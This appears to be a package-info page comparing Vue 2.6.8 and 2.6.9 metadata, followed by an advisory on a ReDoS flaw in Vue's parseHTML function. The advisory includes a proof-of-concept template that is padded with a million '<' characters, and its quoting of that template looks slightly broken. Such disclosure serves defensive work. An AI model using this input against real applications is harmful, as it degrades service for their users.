Vue 2.6.9 is a minor release following Vue 2.6.8, both versions focusing on providing a reactive, component-oriented view layer for building modern web interfaces. Examining the package data reveals key similarities and subtle differences for developers to consider between these two stable versions. Both versions share identical descriptions, "Reactive, component-oriented view layer for modern web interfaces," emphasizing Vue's core purpose. Furthermore, the devDependencies sections are virtually identical, indicating no significant changes in the tooling or testing environment used for development. This consistency suggests a smooth transition for developers upgrading from 2.6.8 to 2.6.9. Both versions maintain the same MIT license, author information (Evan You), and Git repository URL, ensuring continuity in licensing and project ownership. However, the dist sections show some subtle differences. While both versions contain 222 files, the unpacked size has slightly increased from 2965102 bytes in 2.6.8 to 2969595 bytes in 2.6.9. This suggests minor additions or adjustments within the codebase. The release date also differs, with Vue 2.6.9 being released on March 14, 2019, after Vue 2.6.8, released on March 1, 2019. A difference of about 2 weeks. Although not explicit in the provided data, this new version may include bug fixes, performance enhancements, or minor feature additions. Developers should consult the official Vue changelog or release notes for detailed information on the specific changes introduced in version 2.6.9.
All the vulnerabilities related to the version 2.6.9 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.